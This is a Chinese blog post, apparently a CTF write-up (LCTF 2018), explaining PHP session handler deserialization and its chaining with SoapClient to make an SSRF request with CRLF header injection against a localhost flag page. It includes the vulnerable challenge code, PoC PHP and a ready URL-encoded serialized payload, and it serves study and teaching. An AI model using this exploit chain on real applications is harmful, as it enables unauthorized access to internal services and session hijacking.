大致提几点:
1.SESSION工作流程
2.每次php运行结束后就会将SESSION保存进文件中,处理引擎有三种。他们将会负责处理存储
和解析
3.session_start()会根据COOKIE找到SESSION文件,然后依据处理器进行解析
4.反序列问题出在php
处理器会根据|
来区分键名和键值,并将键值
做反序列化操作,键值读到;
停止
5.当存储时,不是php
,而是另外两种,就不会出现分隔符|
。而第二次读的时候,用了php,那么会将|
后的当作值进行反序列化
PHP 的内置类 SoapClient 是一个专门用来访问web服务的类,可以提供一个基于SOAP协议访问Web服务的 PHP 客户端。
类摘要如下:
SoapClient {
/* 方法 */
public __construct ( string|null $wsdl , array $options = [] )
public __call ( string $name , array $args ) : mixed
public __doRequest ( string $request , string $location , string $action , int $version , bool $oneWay = false ) : string|null
public __getCookies ( ) : array
public __getFunctions ( ) : array|null
public __getLastRequest ( ) : string|null
public __getLastRequestHeaders ( ) : string|null
public __getLastResponse ( ) : string|null
public __getLastResponseHeaders ( ) : string|null
public __getTypes ( ) : array|null
public __setCookie ( string $name , string|null $value = null ) : void
public __setLocation ( string $location = "" ) : string|null
public __setSoapHeaders ( SoapHeader|array|null $headers = null ) : bool
public __soapCall ( string $name , array $args , array|null $options = null , SoapHeader|array|null $inputHeaders = null , array &$outputHeaders = null ) : mixed
}
可以看到,该内置类有一个 __call 方法,当 __call 方法被触发后,它可以发送 HTTP 和 HTTPS 请求。正是这个 __call 方法,使得 SoapClient 类可以被我们运用在 SSRF 中。SoapClient 这个类也算是目前被挖掘出来最好用的一个内置类。
该类的构造函数如下:
public SoapClient :: SoapClient(mixed $wsdl [,array $options ])
• 第一个参数是用来指明是否是wsdl模式,将该值设为null则表示非wsdl模式。
• 第二个参数为一个数组,如果在wsdl模式下,此参数可选;如果在非wsdl模式下,则必须设置location和uri选项,其中location是要将请求发送到的SOAP服务器的URL,而uri 是SOAP服务的目标命名空间。
利用SoapClient,我们可以进行get或post请求,具体poc看文末链接
注:本地测试可能出现下面报错
index.php
<?php
highlight_file(__FILE__);
$b = 'implode';
call_user_func($_GET['f'], $_POST);
session_start();
if (isset($_GET['name'])) {
$_SESSION['name'] = $_GET['name'];
}
var_dump($_SESSION);
$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');
call_user_func($b, $a);
?>
扫描发现flag.php
当ip为127.0.0.1时,会将$flag插入到session中。这里就是SSRF
的点,SoapClient
的目标地
而index页面中,有输出SESSION。一个特定的COOKIE对应一个SESSION文件。我们做SSRF的时候要带一个专门的COOKIE进行访问,以此获得flag,后面再带着这个COOKIE访问index,获得SESSION
$request = new SoapClient(null,
array('location' => "http://127.0.0.1/flag.php",
'user_agent' => "C6h5no2\r\nCookie: PHPSESSID=89fjasb3tkkav9k3718qokt5j5\r\n",
'uri' => "123"));
$payload = urlencode(serialize($request));
var_dump($payload);
?>
生成poc
O%3A10%3A%22SoapClient%22%3A4%3A%7Bs%3A3%3A%22uri%22%3Bs%3A3%3A%22123%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A11%3A%22_user_agent%22%3Bs%3A55%3A%22C6h5no2%0D%0ACookie%3A+PHPSESSID%3D89fjasb3tkkav9k3718qokt5j5%0D%0A%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D
要触发SoapClient的__call,就得是call_user_func(array(SoapClient,xx)),(类必须被实例化后才能触发魔术方法)
而要被实例化,就是利用了SESSION反序列化·去实现
所以SESSION[‘name’]
的值是|payload
就是:|O%3A10%3A%22SoapClient%22%3A4%3A%7Bs%3A3%3A%22uri%22%3Bs%3A3%3A%22123%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A11%3A%22_user_agent%22%3Bs%3A55%3A%22C6h5no2%0D%0ACookie%3A+PHPSESSID%3D89fjasb3tkkav9k3718qokt5j5%0D%0A%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D
第一步:写入SESSION文件
由前期只是可知,一个php中两个session_start(),执行第一个。因为ini_set()不接受数组,所以只能用session_start()直接定义处理器(session_start里面得传数组)
控制器可以用session_start(serialize_handler=php_binary)也可以session_start(serialize_handler=php_serialize)
所以构造出下面的payload
第二步:变量覆盖进行触发
此时我们只是将恶意SESSION写入。
当我们第二次访问时,因为控制器是默认的php
,所以SoapClient被实例化,但还没有触发到__call
因为第一个call_user_func在session反序列化之前,所以我们不能在这里触发。代码来到最后一行。$a为我们的poc+那段字符串,形成数组。
当call_user_func用在类上时,参数是数组
下图为php文档截图
可以看到,数组第一个元素是类,第二个是方法
$b就不能是类,而$a中,第一个正好就是实例化后的SoapClient类,第二个就是未定义的方法,借此触发__call。所以要形成call_user_func(‘call_user_func’,$a)
所以要用到变量覆盖
,触发SoapClient的__call,访问flag,php
第一步中,我们用了一个cookie进行访问flag.php,经过第二步的触发,flag已经写入到第一cookie对应的SESSION中,所以我们带着那个cookie访问第一个页面即可
参考:
https://xz.aliyun.com/t/6640#toc-3
https://www.anquanke.com/post/id/238482#h3-12
本文作者:硝基苯
本文链接:https://www.c6sec.com/index.php/archives/616/
最后修改时间:2022-02-10 22:01:24
本站未注明转载的文章均为原创,并采用 CC BY-NC-SA 4.0 授权协议,转载请注明来源,谢谢!